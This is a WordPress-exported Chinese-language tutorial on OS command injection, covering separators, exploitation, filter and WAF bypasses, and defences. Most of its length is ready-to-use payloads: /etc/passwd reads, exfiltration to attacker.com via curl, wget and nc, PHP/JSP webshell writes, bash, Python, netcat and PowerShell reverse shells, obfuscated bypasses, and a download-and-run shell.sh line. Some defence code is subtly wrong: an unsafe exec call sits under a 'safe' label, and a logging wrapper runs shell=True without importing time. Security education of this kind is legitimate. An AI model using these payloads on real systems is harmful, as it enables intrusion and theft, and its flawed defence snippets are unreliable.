{"id":83754,"date":"2026-07-26T03:32:42","date_gmt":"2026-07-25T19:32:42","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/83754.html"},"modified":"2026-07-26T03:32:42","modified_gmt":"2026-07-25T19:32:42","slug":"%e3%80%90%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e3%80%91%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5%ef%bc%9a%e4%bb%8e%e5%8e%9f%e7%90%86%e5%88%b0%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%b2%a6%e9%99%b7%e5%ae%9e%e6%88%98","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/83754.html","title":{"rendered":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u547d\u4ee4\u6ce8\u5165\uff1a\u4ece\u539f\u7406\u5230\u670d\u52a1\u5668\u6ca6\u9677\u5b9e\u6218"},"content":{"rendered":"

\n

\u00a0\u524d\u8a00<\/span><\/h2>\n

\u5728Web\u5b89\u5168\u9886\u57df，\u5982\u679c\u8bf4\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u9700\u8981\u201c\u7ed5\u8fc7\u591a\u9053\u5173\u5361\u201d\u624d\u80fdGetShell，\u90a3\u4e48\u547d\u4ee4\u6ce8\u5165（Command Injection）\u5c31\u662f\u4e00\u6761\u76f4\u8fbe\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u9ad8\u901f\u516c\u8def\u3002\u653b\u51fb\u8005\u901a\u8fc7\u5c06\u6076\u610f\u7cfb\u7edf\u547d\u4ee4\u62fc\u63a5\u5230\u670d\u52a1\u5668\u6267\u884c\u7684\u547d\u4ee4\u4e2d，\u53ef\u4ee5\u76f4\u63a5\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4，\u5b9e\u73b0\u77ac\u95f4\u6ca6\u9677\u3002<\/p>\n

\u672c\u6587\u5c06\u7cfb\u7edf\u68b3\u7406\u547d\u4ee4\u6ce8\u5165\u7684\u539f\u7406\u3001\u5229\u7528\u624b\u6cd5\u3001\u7ed5\u8fc7\u6280\u5de7\u4ee5\u53ca\u9632\u5fa1\u65b9\u6848，\u5e2e\u52a9\u4f60\u638c\u63e1\u4ece\u6ce8\u5165\u5230\u670d\u52a1\u5668\u63a7\u5236\u7684\u5b8c\u6574\u653b\u51fb\u94fe\u3002<\/p>\n

\u00a01. \u4ec0\u4e48\u662f\u547d\u4ee4\u6ce8\u5165？<\/span><\/h2>\n

\u547d\u4ee4\u6ce8\u5165\u662f\u6307Web\u5e94\u7528\u5728\u8c03\u7528\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u65f6，\u672a\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u8fc7\u6ee4，\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u7279\u6b8a\u5b57\u7b26\u62fc\u63a5\u6076\u610f\u547d\u4ee4，\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n

\u00a01.1 \u4e00\u53e5\u8bdd\u7406\u89e3<\/span><\/h3>\n

> \u7f51\u7ad9\u6709\u4e00\u4e2a\u529f\u80fd：\u8f93\u5165IP\u5730\u5740，\u6267\u884c`ping`\u547d\u4ee4\u68c0\u6d4b\u7f51\u7edc\u8fde\u901a\u6027\u3002<\/p>\n

> \u6211\u8f93\u5165：`127.0.0.1 && whoami`<\/p>\n

> \u670d\u52a1\u5668\u6267\u884c\u7684\u547d\u4ee4\u53d8\u6210：`ping -c 4 127.0.0.1 && whoami`<\/p>\n

> \u670d\u52a1\u5668\u8fd4\u56de\u4e86\u5f53\u524d\u7528\u6237\u540d，\u6211\u83b7\u5f97\u4e86\u547d\u4ee4\u6267\u884c\u6743\u9650\u3002<\/p>\n

\u00a01.2 \u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u547d\u4ee4\u6ce8\u5165？<\/span><\/h3>\n

\u547d\u4ee4\u6ce8\u5165\u7684\u6839\u672c\u539f\u56e0\u5728\u4e8e：\u5f00\u53d1\u4eba\u5458\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4\u5904\u7406\u7528\u6237\u8f93\u5165，\u4e14\u672a\u5bf9\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u8fc7\u6ee4\u3002\u5e38\u89c1\u7684\u5371\u9669\u51fd\u6570\u5305\u62ec：<\/p>\n

| \u8bed\u8a00 | \u5371\u9669\u51fd\u6570 |<\/p>\n

| PHP | `system()`\u3001`exec()`\u3001`shell_exec()`\u3001`passthru()`\u3001`popen()` |<\/p>\n

| Java | `Runtime.exec()`\u3001`ProcessBuilder` |<\/p>\n

| Python | `os.system()`\u3001`subprocess.call()`\u3001`subprocess.Popen()` |<\/p>\n

| Node.js | `child_process.exec()`\u3001`child_process.spawn()` |<\/p>\n

\u00a01.3 \u5e38\u89c1\u5b58\u5728\u547d\u4ee4\u6ce8\u5165\u7684\u529f\u80fd\u70b9<\/span><\/h3>\n

| \u529f\u80fd\u7c7b\u578b | \u5178\u578b\u573a\u666f | \u793a\u4f8b |<\/p>\n

| \u7f51\u7edc\u68c0\u6d4b | Ping\u3001Traceroute\u3001DNS\u67e5\u8be2 | \u8f93\u5165IP\u6267\u884cping\u547d\u4ee4 |<\/p>\n

| \u7cfb\u7edf\u76d1\u63a7 | \u67e5\u770b\u8fdb\u7a0b\u3001\u78c1\u76d8\u4f7f\u7528\u7387 | \u6267\u884c`ps`\u3001`df`\u547d\u4ee4 |<\/p>\n

| \u6587\u4ef6\u64cd\u4f5c | \u538b\u7f29\/\u89e3\u538b\u3001\u6587\u4ef6\u8f6c\u6362 | \u8c03\u7528\u7cfb\u7edf\u538b\u7f29\u5de5\u5177 |<\/p>\n

| \u90ae\u4ef6\u53d1\u9001 | \u8c03\u7528`sendmail` | \u62fc\u63a5\u90ae\u4ef6\u5730\u5740 |<\/p>\n

| \u6570\u636e\u5e93\u5907\u4efd | \u8c03\u7528`mysqldump` | \u5bfc\u51fa\u6570\u636e\u5e93 |<\/p>\n

php<\/p>\n

\/\/ \u26a0\ufe0f \u5371\u9669\u4ee3\u7801\u793a\u4f8b：\u76f4\u63a5\u62fc\u63a5\u7528\u6237\u8f93\u5165<\/p>\n

$ip = $_GET['ip'];<\/p>\n

$output = shell_exec("ping -c 4 " . $ip);<\/p>\n

echo "<pre>$output<\/pre>";<\/p>\n

\u00a02. \u547d\u4ee4\u6ce8\u5165\u7684\u5206\u7c7b<\/span><\/h2>\n

\u00a02.1 \u6309\u7ed3\u679c\u662f\u5426\u56de\u663e\u5206\u7c7b<\/span><\/h3>\n

| \u7c7b\u578b | \u8bf4\u660e | \u5229\u7528\u96be\u5ea6 |<\/p>\n

| \u6709\u56de\u663e | \u547d\u4ee4\u6267\u884c\u7ed3\u679c\u76f4\u63a5\u8fd4\u56de\u7ed9\u7528\u6237 | \u7b80\u5355 |<\/p>\n

| \u65e0\u56de\u663e（\u76f2\u6ce8） | \u547d\u4ee4\u6267\u884c\u7ed3\u679c\u4e0d\u8fd4\u56de，\u9700\u901a\u8fc7\u5176\u4ed6\u65b9\u5f0f\u83b7\u53d6 | \u4e2d\u7b49 |<\/p>\n

| \u5ef6\u8fdf\u6ce8\u5165 | \u901a\u8fc7\u54cd\u5e94\u65f6\u95f4\u5224\u65ad\u547d\u4ee4\u6267\u884c\u60c5\u51b5 | \u590d\u6742 |<\/p>\n

\u00a02.2 \u6309\u6ce8\u5165\u4f4d\u7f6e\u5206\u7c7b<\/span><\/h3>\n

| \u7c7b\u578b | \u793a\u4f8b |<\/p>\n

| \u53c2\u6570\u6ce8\u5165 | `?ip=127.0.0.1` |<\/p>\n

| POST\u6570\u636e\u6ce8\u5165 | \u8868\u5355\u63d0\u4ea4 |<\/p>\n

| Cookie\u6ce8\u5165 | Cookie\u4e2d\u5305\u542b\u6076\u610f\u547d\u4ee4 |<\/p>\n

| HTTP\u5934\u6ce8\u5165 | User-Agent\u3001Referer\u7b49 |<\/p>\n

\u00a03. \u547d\u4ee4\u8fde\u63a5\u7b26\u8be6\u89e3<\/span><\/h2>\n

\u638c\u63e1\u547d\u4ee4\u8fde\u63a5\u7b26\u662f\u547d\u4ee4\u6ce8\u5165\u7684\u57fa\u7840：<\/p>\n

| \u8fde\u63a5\u7b26 | \u542b\u4e49 | \u793a\u4f8b | \u6548\u679c |<\/p>\n

| `;` | \u987a\u5e8f\u6267\u884c | `cmd1; cmd2` | \u6267\u884ccmd1，\u7136\u540e\u6267\u884ccmd2 |<\/p>\n

| `&&` | \u903b\u8f91\u4e0e | `cmd1 && cmd2` | cmd1\u6210\u529f\u540e\u624d\u6267\u884ccmd2 |<\/p>\n

| `\\\\|\\\\|` | \u903b\u8f91\u6216 | `cmd1 \\\\|\\\\| cmd2` | cmd1\u5931\u8d25\u624d\u6267\u884ccmd2 |<\/p>\n

| `\\\\|` | \u7ba1\u9053\u7b26 | `cmd1 \\\\| cmd2` | \u5c06cmd1\u7684\u8f93\u51fa\u4f5c\u4e3acmd2\u7684\u8f93\u5165 |<\/p>\n

| `\\\\n` | \u6362\u884c\u7b26 | `cmd1 \\\\n cmd2` | \u6362\u884c\u6267\u884c\u65b0\u547d\u4ee4 |<\/p>\n

| `` ` ` `` | \u53cd\u5f15\u53f7 | `` `cmd1` `` | \u6267\u884ccmd1\u5e76\u8fd4\u56de\u7ed3\u679c |<\/p>\n

| `$()` | \u547d\u4ee4\u66ff\u6362 | `$(cmd1)` | \u6267\u884ccmd1\u5e76\u8fd4\u56de\u7ed3\u679c |<\/p>\n

\u00a03.1 \u4e0d\u540c\u7cfb\u7edf\u7684\u547d\u4ee4\u5206\u9694\u7b26<\/span><\/h3>\n

| \u7cfb\u7edf | \u5206\u9694\u7b26 |<\/p>\n

| Windows | `&`\u3001`&&`\u3001`\\\\|`\u3001`\\\\|\\\\|`\u3001`;` |<\/p>\n

| Linux\/Unix | `;`\u3001`&&`\u3001`\\\\|`\u3001`\\\\|\\\\|`\u3001`\\\\n`\u3001`` ` ``\u3001`$()` |<\/p>\n

\u00a04. \u547d\u4ee4\u6ce8\u5165\u7684\u5229\u7528\u624b\u6cd5<\/span><\/h2>\n

\u00a04.1 \u57fa\u7840\u63a2\u6d4b<\/span><\/h3>\n

\u9996\u5148\u786e\u8ba4\u662f\u5426\u5b58\u5728\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e：<\/p>\n

text<\/p>\n

\u00a0\u6d4b\u8bd51：\u76f4\u63a5\u6267\u884c\u547d\u4ee4<\/p>\n

127.0.0.1; whoami<\/p>\n

\u00a0\u6d4b\u8bd52：\u4f7f\u7528\u903b\u8f91\u4e0e<\/p>\n

127.0.0.1 && whoami<\/p>\n

\u00a0\u6d4b\u8bd53：\u4f7f\u7528\u7ba1\u9053<\/p>\n

127.0.0.1 | whoami<\/p>\n

\u00a0\u6d4b\u8bd54：\u547d\u4ee4\u66ff\u6362<\/p>\n

127.0.0.1 $(whoami)<\/p>\n

127.0.0.1 `whoami`<\/p>\n

\u5224\u65ad\u65b9\u6cd5：<\/p>\n

– \u5982\u679c\u8fd4\u56de\u4e86 `whoami` \u7684\u6267\u884c\u7ed3\u679c \u2192 \u5b58\u5728\u547d\u4ee4\u6ce8\u5165<\/p>\n

– \u5982\u679c\u9875\u9762\u62a5\u9519\u6216\u6709\u5ef6\u8fdf \u2192 \u53ef\u80fd\u5b58\u5728<\/p>\n

\u00a04.2 \u6709\u56de\u663e\u547d\u4ee4\u6267\u884c<\/span><\/h3>\n

\u5f53\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u76f4\u63a5\u8fd4\u56de\u65f6，\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4：<\/p>\n

```text<\/p>\n

\u00a0Linux<\/p>\n

127.0.0.1; id<\/p>\n

127.0.0.1; cat \/etc\/passwd<\/p>\n

127.0.0.1; ls -la \/var\/www\/html<\/p>\n

\u00a0Windows<\/p>\n

127.0.0.1 & whoami<\/p>\n

127.0.0.1 & type C:\\\\Windows\\\\win.ini<\/p>\n

127.0.0.1 & dir C:\\\\<\/p>\n

\u00a04.3 \u65e0\u56de\u663e\u547d\u4ee4\u6267\u884c（\u76f2\u6ce8）<\/span><\/h3>\n

\u5f53\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u4e0d\u8fd4\u56de\u65f6，\u9700\u8981\u901a\u8fc7\u5176\u4ed6\u65b9\u5f0f\u83b7\u53d6：<\/p>\n

\u00a04.3.1 DNS\u5916\u5e26\u6570\u636e<\/p>\n

text<\/p>\n

\u00a0Linux<\/p>\n

127.0.0.1; nslookup `whoami`.attacker.com<\/p>\n

127.0.0.1; curl http:\/\/attacker.com\/`whoami`<\/p>\n

\u00a0Windows<\/p>\n

127.0.0.1 & nslookup %username%.attacker.com<\/p>\n

127.0.0.1 & powershell Invoke-WebRequest -Uri "http:\/\/attacker.com\/$env:username"<\/p>\n

\u00a04.3.2 HTTP\u5916\u5e26\u6570\u636e<\/p>\n

```bash<\/p>\n

\u00a0\u4f7f\u7528curl<\/p>\n

127.0.0.1; curl http:\/\/attacker.com\/?data=$(cat \/etc\/passwd | base64)<\/p>\n

\u00a0\u4f7f\u7528wget<\/p>\n

127.0.0.1; wget –post-data="$(cat \/etc\/passwd)" http:\/\/attacker.com<\/p>\n

\u00a0\u4f7f\u7528nc<\/p>\n

127.0.0.1; cat \/etc\/passwd | nc attacker.com 4444<\/p>\n

\u00a04.3.3 \u5199\u5165Webshell<\/p>\n

bash<\/p>\n

\u00a0\u5199\u5165PHP\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n

127.0.0.1; echo '<?php @eval($_POST["cmd"]);?>' > \/var\/www\/html\/shell.php<\/p>\n

\u00a0\u5199\u5165JSP\u6728\u9a6c<\/p>\n

127.0.0.1; echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > \/var\/www\/html\/shell.jsp<\/p>\n

\u00a04.3.4 \u65f6\u95f4\u76f2\u6ce8<\/p>\n

bash<\/p>\n

\u00a0Linux：\u901a\u8fc7\u5ef6\u8fdf\u5224\u65ad<\/p>\n

127.0.0.1; sleep 5<\/p>\n

\u00a0Windows<\/p>\n

127.0.0.1 & timeout 5<\/p>\n

\n

\u00a04.4 \u53cd\u5f39Shell（\u6838\u5fc3\u5229\u7528）<\/span><\/h3>\n

\u53cd\u5f39Shell\u662f\u547d\u4ee4\u6ce8\u5165\u4e2d\u6700\u6709\u5a01\u529b\u7684\u5229\u7528\u65b9\u5f0f，\u53ef\u7ed5\u8fc7\u9632\u706b\u5899\u9650\u5236\u3002<\/p>\n

\u00a04.4.1 Bash\u53cd\u5f39Shell<\/p>\n

```bash<\/p>\n

\u00a0\u653b\u51fb\u8005\u76d1\u542c<\/p>\n

nc -lvnp 4444<\/p>\n

\u00a0\u76ee\u6807\u6267\u884c<\/p>\n

127.0.0.1; bash -i >& \/dev\/tcp\/\u653b\u51fb\u8005IP\/4444 0>&1<\/p>\n

\u00a04.4.2 Python\u53cd\u5f39Shell<\/p>\n

bash<\/p>\n

127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("\u653b\u51fb\u8005IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["\/bin\/bash","-i"])'<\/p>\n

\u00a04.4.3 Netcat\u53cd\u5f39Shell<\/p>\n

bash<\/p>\n

\u00a0\u6709nc\u547d\u4ee4<\/p>\n

127.0.0.1; nc -e \/bin\/bash \u653b\u51fb\u8005IP 4444<\/p>\n

\u00a0\u6ca1\u6709-e\u53c2\u6570\u7684\u60c5\u51b5<\/p>\n

127.0.0.1; rm \/tmp\/f; mkfifo \/tmp\/f; cat \/tmp\/f | \/bin\/bash -i 2>&1 | nc \u653b\u51fb\u8005IP 4444 > \/tmp\/f<\/p>\n

\u00a04.4.4 PowerShell\u53cd\u5f39Shell（Windows）<\/p>\n

bash<\/p>\n

127.0.0.1 & powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('\u653b\u51fb\u8005IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"<\/p>\n

\u00a04.5 \u547d\u4ee4\u6ce8\u5165\u8fdb\u9636\u5229\u7528<\/span><\/h3>\n

\u00a04.5.1 \u7ed5\u8fc7\u7a7a\u683c\u8fc7\u6ee4<\/p>\n

\u5f53\u7a7a\u683c\u88ab\u8fc7\u6ee4\u65f6，\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u66ff\u4ee3\u65b9\u5f0f：<\/p>\n

bash<\/p>\n

\u00a0\u4f7f\u7528$IFS（Internal Field Separator）<\/p>\n

127.0.0.1; cat${IFS}\/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u5236\u8868\u7b26<\/p>\n

127.0.0.1; cat%09\/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u82b1\u62ec\u53f7\u6269\u5c55<\/p>\n

127.0.0.1; {cat,\/etc\/passwd}<\/p>\n

\u00a0\u4f7f\u7528\u91cd\u5b9a\u5411<\/p>\n

127.0.0.1; cat<\/etc\/passwd<\/p>\n

\u00a04.5.2 \u7ed5\u8fc7\u5173\u952e\u5b57\u8fc7\u6ee4<\/p>\n

bash<\/p>\n

\u00a0\u4f7f\u7528\u901a\u914d\u7b26<\/p>\n

127.0.0.1; \/???\/c?t \/???\/p?ss??<\/p>\n

\u00a0\u89e3\u91ca：\/bin\/cat \/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u53d8\u91cf\u62fc\u63a5<\/p>\n

127.0.0.1; a=c;b=at; $a$b \/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u53cd\u659c\u6760<\/p>\n

127.0.0.1; c\\\\at \/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u5f15\u53f7<\/p>\n

127.0.0.1; c"a"t \/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528Base64\u7f16\u7801<\/p>\n

127.0.0.1; echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash<\/p>\n

\u00a04.5.3 \u7ed5\u8fc7\u9ed1\u540d\u5355<\/p>\n

bash<\/p>\n

\u00a0\u4f7f\u7528\u7f16\u7801<\/p>\n

127.0.0.1; $(printf "\\\\x63\\\\x61\\\\x74") \/etc\/passwd<\/p>\n

\u00a0\u4f7f\u7528\u547d\u4ee4\u66ff\u6362<\/p>\n

127.0.0.1; $(echo cat) \/etc\/passwd<\/p>\n

\n

\u00a05. \u547d\u4ee4\u6ce8\u5165\u7684\u7ed5\u8fc7\u6280\u5de7<\/span><\/h2>\n

\u00a05.1 \u7a7a\u683c\u7ed5\u8fc7<\/span><\/h3>\n

| \u7ed5\u8fc7\u65b9\u5f0f | \u793a\u4f8b |<\/p>\n

| `${IFS}` | `cat${IFS}\/etc\/passwd` |<\/p>\n

| `%09`（\u5236\u8868\u7b26） | `cat%09\/etc\/passwd` |<\/p>\n

| `%20`（\u7a7a\u683c） | `cat%20\/etc\/passwd` |<\/p>\n

| \u91cd\u5b9a\u5411 | `cat<\/etc\/passwd` |<\/p>\n

| \u82b1\u62ec\u53f7 | `{cat,\/etc\/passwd}` |<\/p>\n

\u00a05.2 \u5173\u952e\u5b57\u7ed5\u8fc7<\/span><\/h3>\n

| \u7ed5\u8fc7\u65b9\u5f0f | \u793a\u4f8b |<\/p>\n

| \u901a\u914d\u7b26 | `\/???\/c?t \/???\/p?ss??` |<\/p>\n

| \u53cd\u659c\u6760 | `c\\\\at \/etc\/passwd` |<\/p>\n

| \u5355\u5f15\u53f7 | `c'a't \/etc\/passwd` |<\/p>\n

| \u53cc\u5f15\u53f7 | `c"a"t \/etc\/passwd` |<\/p>\n

| \u53d8\u91cf\u62fc\u63a5 | `a=c;b=at;$a$b \/etc\/passwd` |<\/p>\n

| Base64 | `echo 'Y2F0' \\\\| base64 -d` |<\/p>\n

\u00a05.3 \u7f16\u7801\u7ed5\u8fc7<\/span><\/h3>\n

```bash<\/p>\n

\u00a0\u5341\u516d\u8fdb\u5236\u7f16\u7801<\/p>\n

127.0.0.1; $(printf "\\\\x63\\\\x61\\\\x74") \/etc\/passwd<\/p>\n

\u00a0\u516b\u8fdb\u5236\u7f16\u7801<\/p>\n

127.0.0.1; $(printf "\\\\143\\\\141\\\\164") \/etc\/passwd<\/p>\n

\u00a0URL\u7f16\u7801（\u90e8\u5206\u573a\u666f）<\/p>\n

127.0.0.1%3Bcat%20\/etc\/passwd<\/p>\n

\n

\u00a05.4 \u622a\u65ad\u7ed5\u8fc7<\/span><\/h3>\n

bash<\/p>\n

\u00a0\u6ce8\u91ca\u7b26\u622a\u65ad（\u90e8\u5206\u7cfb\u7edf）<\/p>\n

127.0.0.1; cat \/etc\/passwd \u00a0\u540e\u9762\u7684\u5185\u5bb9\u88ab\u5ffd\u7565<\/p>\n

\u00a0\u6362\u884c\u7b26\u622a\u65ad<\/p>\n

127.0.0.1; cat \/etc\/passwd%0a<\/p>\n

\u00a06. \u547d\u4ee4\u6ce8\u5165\u4e0e\u5e38\u89c1WAF\u7ed5\u8fc7<\/span><\/h2>\n

\u00a06.1 \u62fc\u63a5\u7ed5\u8fc7<\/span><\/h3>\n

bash<\/p>\n

\u00a0\u5c06\u547d\u4ee4\u62c6\u5206\u6210\u591a\u6bb5<\/p>\n

127.0.0.1; c\\\\<\/p>\n

at \/et\\\\<\/p>\n

c\/passwd<\/p>\n

\u00a06.2 \u5229\u7528\u73af\u5883\u53d8\u91cf<\/span><\/h3>\n

```bash<\/p>\n

\u00a0\u4ece\u73af\u5883\u53d8\u91cf\u4e2d\u83b7\u53d6\u5b57\u7b26<\/p>\n

127.0.0.1; ${PATH:0:1}at \/etc\/passwd<\/p>\n

\u00a0${PATH:0:1} \u53d6PATH\u7b2c\u4e00\u4e2a\u5b57\u7b26，\u901a\u5e38\u662f '\/'<\/p>\n

\u00a06.3 \u5229\u7528\u901a\u914d\u7b26\u6280\u5de7<\/span><\/h3>\n

bash<\/p>\n

\u00a0\u5229\u7528*\u901a\u914d\u7b26<\/p>\n

127.0.0.1; \/???\/?????? \/???\/???????<\/p>\n

\u00a0\u53ef\u80fd\u5339\u914d\u5230 \/usr\/bin\/curl \/etc\/passwd<\/p>\n

```<\/p>\n

\u00a07. \u9632\u5fa1\u65b9\u6848<\/span><\/h2>\n

\u00a07.1 \u907f\u514d\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4（\u6838\u5fc3\u9632\u5fa1）<\/span><\/h3>\n

\u6700\u4f73\u5b9e\u8df5：\u5c3d\u91cf\u4f7f\u7528\u5185\u7f6e\u51fd\u6570\u66ff\u4ee3\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n

php<\/p>\n

\/\/ \u274c \u5371\u9669：\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4<\/p>\n

$output = shell_exec("ping -c 4 " . $ip);<\/p>\n

\/\/ \u2705 \u5b89\u5168：\u4f7f\u7528\u5185\u7f6e\u51fd\u6570<\/p>\n

$output = exec("ping", $ip);\u00a0 \/\/ \u4ecd\u4e0d\u5b89\u5168<\/p>\n

\/\/ \u66f4\u597d\u7684\u65b9\u6848：\u4f7f\u7528PHP\u7684socket\u51fd\u6570\u81ea\u5df1\u5b9e\u73b0ping<\/p>\n

\n

7.2 \u8f93\u5165\u8fc7\u6ee4\u4e0e\u8f6c\u4e49<\/p>\n

\u5982\u679c\u5fc5\u987b\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4，\u4e25\u683c\u8fc7\u6ee4\u7528\u6237\u8f93\u5165：<\/p>\n

php<\/p>\n

\/\/ \u767d\u540d\u5355\u6821\u9a8c<\/p>\n

$allowed_ips = ['8.8.8.8', '1.1.1.1'];<\/p>\n

if (!in_array($ip, $allowed_ips)) {<\/p>\n

\u00a0\u00a0\u00a0 die('Invalid IP');<\/p>\n

}<\/p>\n

\/\/ \u8f6c\u4e49\u7279\u6b8a\u5b57\u7b26<\/p>\n

$ip = escapeshellarg($_GET['ip']);<\/p>\n

$output = shell_exec("ping -c 4 " . $ip);<\/p>\n

```<\/p>\n

PHP\u8f6c\u4e49\u51fd\u6570：<\/p>\n

– `escapeshellarg()`：\u8f6c\u4e49\u53c2\u6570<\/p>\n

– `escapeshellcmd()`：\u8f6c\u4e49\u547d\u4ee4<\/p>\n

\u00a07.3 \u767d\u540d\u5355\u6821\u9a8c<\/span><\/h3>\n

python<\/p>\n

import re<\/p>\n

def validate_ip(ip):<\/p>\n

\u00a0\u00a0\u00a0 \u00a0\u4ec5\u5141\u8bb8IP\u5730\u5740\u683c\u5f0f<\/p>\n

\u00a0\u00a0\u00a0 pattern = r'^(\\\\d{1,3}\\\\.){3}\\\\d{1,3}$'<\/p>\n

\u00a0\u00a0\u00a0 if not re.match(pattern, ip):<\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 raise Exception('Invalid IP format')<\/p>\n

\u00a0\u00a0\u00a0<\/p>\n

\u00a0\u00a0\u00a0 \u00a0\u68c0\u67e5\u662f\u5426\u4e3a\u5185\u7f51IP<\/p>\n

\u00a0\u00a0\u00a0 parts = ip.split('.')<\/p>\n

\u00a0\u00a0\u00a0 if parts[0] in ['127', '10'] or parts[0] == '172' and 16 <= int(parts[1]) <= 31 or parts[0] == '192' and parts[1] == '168':<\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 raise Exception('Internal IP not allowed')<\/p>\n

\u00a0\u00a0\u00a0 return True<\/p>\n

ip = validate_ip(user_input)<\/p>\n

7.4 \u6700\u5c0f\u6743\u9650\u539f\u5219<\/span><\/h3>\n

– Web\u670d\u52a1\u4f7f\u7528\u4f4e\u6743\u9650\u8d26\u6237\u8fd0\u884c（\u975eroot）<\/p>\n

– \u9650\u5236Web\u7528\u6237\u53ef\u6267\u884c\u7684\u547d\u4ee4\u8303\u56f4<\/p>\n

– \u4f7f\u7528\u5bb9\u5668\u6216\u6c99\u7bb1\u9694\u79bb<\/p>\n

\n

\u00a07.5 \u547d\u4ee4\u6267\u884c\u76d1\u63a7<\/span><\/h3>\n

python<\/p>\n

import subprocess<\/p>\n

\n

\u00a0\u8bb0\u5f55\u6240\u6709\u547d\u4ee4\u6267\u884c\u65e5\u5fd7<\/p>\n

def safe_execute(command, user_input):<\/p>\n

\u00a0\u00a0\u00a0 \u00a0\u8bb0\u5f55\u65e5\u5fd7<\/p>\n

\u00a0\u00a0\u00a0 with open('\/var\/log\/cmd_exec.log', 'a') as f:<\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 f.write(f"{time.time()}: {command} from user: {user_input}\\\\n")<\/p>\n

\u00a0\u00a0\u00a0<\/p>\n

\u00a0\u00a0\u00a0 \u00a0\u6267\u884c\u547d\u4ee4<\/p>\n

\u00a0\u00a0\u00a0 return subprocess.run(command, shell=True, capture_output=True)<\/p>\n

8. \u771f\u5b9e\u6848\u4f8b\u5206\u6790<\/span><\/h2>\n

\u00a0\u6848\u4f8b1：\u67d0CMS\u547d\u4ee4\u6ce8\u5165（CVE-2021-XXXX）<\/p>\n

\u6f0f\u6d1e\u70b9：\u540e\u53f0\u6a21\u677f\u7f16\u8f91\u529f\u80fd，\u5141\u8bb8\u7f16\u8f91\u6a21\u677f\u6587\u4ef6<\/p>\n

Payload：<\/p>\n

```text<\/p>\n

{php}system('whoami');{\/php}<\/p>\n

\u5f71\u54cd：\u653b\u51fb\u8005\u53ef\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4，\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650<\/p>\n

\u00a0\u6848\u4f8b2：\u67d0\u7f51\u7edc\u8bbe\u5907\u547d\u4ee4\u6ce8\u5165<\/p>\n

\u6f0f\u6d1e\u70b9：Ping\u529f\u80fd\u672a\u8fc7\u6ee4\u8f93\u5165<\/p>\n

Payload：<\/p>\n

```text<\/p>\n

127.0.0.1; wget http:\/\/\u6076\u610fIP\/shell.sh; chmod +x shell.sh; .\/shell.sh<\/p>\n

\u5f71\u54cd：\u4e0b\u8f7d\u5e76\u6267\u884c\u6076\u610f\u811a\u672c，\u8bbe\u5907\u88ab\u63a7<\/p>\n

9. \u547d\u4ee4\u6ce8\u5165\u68c0\u6d4b\u4e0e\u9632\u62a4\u603b\u7ed3<\/span><\/h2>\n

9.1 \u68c0\u6d4b\u601d\u8def<\/span><\/h3>\n

| \u68c0\u6d4b\u9636\u6bb5 | \u68c0\u6d4b\u65b9\u6cd5 |<\/p>\n

|———-|———-|<\/p>\n

| \u9759\u6001\u4ee3\u7801\u5ba1\u8ba1 | \u641c\u7d22\u5371\u9669\u51fd\u6570（system\u3001exec\u3001shell_exec\u7b49） |<\/p>\n

| \u52a8\u6001\u626b\u63cf | \u4f7f\u7528\u5de5\u5177\u626b\u63cf\u6ce8\u5165\u70b9 |<\/p>\n

